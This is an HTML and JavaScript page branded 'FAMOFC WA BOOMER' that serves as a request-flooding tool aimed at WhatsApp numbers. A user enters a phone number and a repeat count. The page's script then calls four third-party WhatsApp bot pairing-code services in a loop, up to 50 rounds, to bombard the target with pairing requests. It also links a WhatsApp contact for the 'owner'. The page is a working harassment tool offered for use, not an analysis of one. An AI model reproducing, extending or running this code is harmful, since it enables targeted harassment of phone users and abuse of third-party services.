<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>FAMOFC WA BOOMER</title>
    <style>
        body {
            font-family: 'Roboto', sans-serif;
            text-align: center;
            margin-top: 50px;
            background: linear-gradient(to right, #000000 50%, #4facfe 50%);
            color: #333;
        }
        h1 {
            font-size: 2.5rem;
            margin-bottom: 20px;
            color: #fff;
            text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.7);
        }
        p {
            font-size: 1.2rem;
            margin-bottom: 20px;
            color: #fff;
        }
        .input-group {
            display: flex;
            align-items: center;
            justify-content: center;
            margin-bottom: 20px;
        }
        input {
            padding: 10px;
            width: 200px;
            font-size: 16px;
            border: 2px solid #ddd;
            border-radius: 20px 0 0 20px;
            outline: none;
            transition: border-color 0.3s;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.9);
            background-color:  rgba(255, 255, 255, 0.5);
                   
            
        }
        input:focus {
            border-color: #4facfe;
        }
        .circular-select {
            padding: 10px;
            border: 2px solid #ddd;
            border-left: none;
            border-radius: 0 50px 50px 0;
            outline: none;
            width: 80px;
            height: 50px;
            font-size: 16px;
            text-align: center;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.9);
            transition: border-color 0.3s;
        }
        .circular-select:focus {
            border-color: #4facfe;
        }
        * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }
:root {
  --color: #FAFAFA;
}



        .container .btn {
            position: relative;
            width: 250px;
            height: 50px;
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
        }

        .container .btn a {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            display: flex;
            justify-content: center;
            align-items: center;
            background: rgba(255, 255, 255, 0.05);
            box-shadow: 0 15px 15px rgba(0, 0, 0, 0.3);
            border-bottom: 1px solid rgba(255, 255, 255, 0.1);
            border-top: 1px solid rgba(255, 255, 255, 0.1);
            border-radius: 30px;
            padding: 10px;
            letter-spacing: 1px;
            text-decoration: none;
            overflow: hidden;
            color: #fff;
            font-weight: 400;
            z-index: 1;
            font-family: 'Graduate', Arial, sans-serif;
            transition: 0.5s;
            backdrop-filter: blur(15px);
        }

        .container .btn:hover a {
            letter-spacing: 3px;
        }

        .container .btn a::before {
            content: "";
            position: absolute;
            top: 0;
            left: 0;
            width: 50%;
            height: 100%;
            background: linear-gradient(to left, rgba(255, 255, 255, 0.15), transparent);
            transform: skewX(45deg) translate(0);
            transition: 0.5s;
            filter: blur(0px);
        }

        .container .btn:hover a::before {
            transform: skewX(45deg) translate(200px);
        }

        .container .btn::before {
            content: "";
            position: absolute;
            left: 50%;
            transform: translateX(-50%);
            bottom: -5px;
            width: 30px;
            height: 10px;
            background: #f00;
            border-radius: 10px;
            transition: 0.5s;
            transition-delay: 0.5s;
        }

        .container .btn:hover::before {
            bottom: 0;
            height: 50%;
            width: 80%;
            border-radius: 30px;
        }

        .container .btn::after {
            content: "";
            position: absolute;
            left: 50%;
            transform: translateX(-50%);
            top: -5px;
            width: 30px;
            height: 10px;
            background: #f00;
            border-radius: 10px;
            transition: 0.5s;
            transition-delay: 0.5s;
        }

        .container .btn:hover::after {
            top: 0;
            height: 50%;
            width: 80%;
            border-radius: 30px;
        }

        .container .btn:nth-child(1)::before,
        .container .btn:nth-child(1)::after {
            background: #ff1f71;
            box-shadow: 0 0 5px #ff1f71, 0 0 15px #ff1f71, 0 0 30px #ff1f71, 0 0 60px #ff1f71;
        }
        .container .btn:nth-child(1) {
            margin-top: 20px;
        }

        .container .btn:nth-child(2)::before,
        .container .btn:nth-child(2)::after {
            background: #2db2ff;
            box-shadow: 0 0 5px #2db2ff, 0 0 15px #2db2ff, 0 0 30px #2db2ff, 0 0 60px #2db2ff;
        }
        .container .btn:nth-child(2) {
            margin-top: 20px;
        }

        .container .btn:nth-child(3)::before,
        .container .btn:nth-child(3)::after {
            background: #1eff45;
            box-shadow: 0 0 5px #1eff45, 0 0 15px #1eff45, 0 0 30px #1eff45, 0 0 60px #1eff45;
        }
        .container .btn:nth-child(3) {
            margin-top: 20px;
        }
        
        .container .btn:nth-child(4)::before,
        .container .btn:nth-child(4)::after {
            background: #ff2d2d;
            box-shadow: 0 0 5px #ff2d2d, 0 0 15px #ff2d2d, 0 0 30px #ff2d2d, 0 0 60px #ff2d2d;
        }
        .container .btn:nth-child(4) {
            margin-top: 20px;
        }


        #qrCodeContainer {
            margin-top: 30px;
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
            gap: 20px;
        }
        img {
            border: 2px solid #ddd;
            padding: 10px;
            border-radius: 50%;
            width: 150px;
            height: 150px;
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.9);
            transition: transform 0.3s;
        }
        img:hover {
            transform: rotate(360deg);
        }
        .footer {
  font-family: 'Gruppo', Arial, sans-serif;
  font-size: 1em;
  color: rgba(255, 255, 255, 0.7);
  background-color: transparent;
  position: fixed;
  bottom: 0;
  left: 0;
  width: 100%;
  text-align: center;
  padding: 10px 0;
  z-index: 999;
  border-top: 1px solid rgba(255, 255, 255, 0.2);
}
    </style>
</head>
<body>
    <h1>FAMOFC <br>WA <br>BOOMER</h1>
    <p>Enter a number to send requests</p>
    <div class="input-group">
        <input type="number" id="numberInput" placeholder="Enter a number" style="color: white; background-color: transparent;">
        <select id="repeatCount" class="circular-select">
            <option value="20">20</option>
            <option value="40">40</option>
            <option value="50">50</option>
        </select>
    </div>
<br>    <div class="container">
<center><div class="btn">    <a onclick="runAPIs()">send</a></div></center>
    </div>
    
    <div class="footer">
      @famofc Inc. 2025 
    </div>
    
    <div id="qrCodeContainer"></div>
    <br><br><br><br><br><br>
    <div class="container">
    <center><div class="btn"> 
    <a href="https://wa.me/+923350963366"  target="_blank">
        
        Connect owner 
    </a></div></center>
    </div>
    <script>
        async function generateQRCode(apiUrl) {
            try {
                const qrCodeContainer = document.getElementById('qrCodeContainer');
                qrCodeContainer.innerHTML = '';
                const response = await fetch(apiUrl);
                const data = await response.json();
                const qrCodeImage = new Image();
                qrCodeImage.src = data.url;
                qrCodeContainer.appendChild(qrCodeImage);
            } catch (error) {
                console.error('Error:', error);
                const errorMsg = document.createElement('p');
                errorMsg.id = 'errorMsg';
                errorMsg.textContent = 'Error generating QR code.';
                document.getElementById('qrCodeContainer').appendChild(errorMsg);
            }
        }

        async function runAPIs() {
            const number = document.getElementById('numberInput').value;
            const repeatCount = parseInt(document.getElementById('repeatCount').value, 10);

            if (!number || isNaN(number) || number <= 0) {
                alert('Please enter a valid number.');
                return;
            }

            const apiUrls = [
                `https://qr-pair-anyav2.koyeb.app/code?number=${number}`,
                `https://prince-session-base64.onrender.com/code?number=${number}`,
                
                `https://silent-sobx-md-web-pair.onrender.com/code?number=${number}`,
                `https://prabath-md-pair-web-v2-slk.koyeb.app/code?number=${number}`
            ];

            document.getElementById('qrCodeContainer').innerHTML = '';

            for (let i = 0; i < repeatCount; i++) {
                for (const apiUrl of apiUrls) {
                    await generateQRCode(apiUrl);
                }
            }
        }
    </script>
</body>
</html>
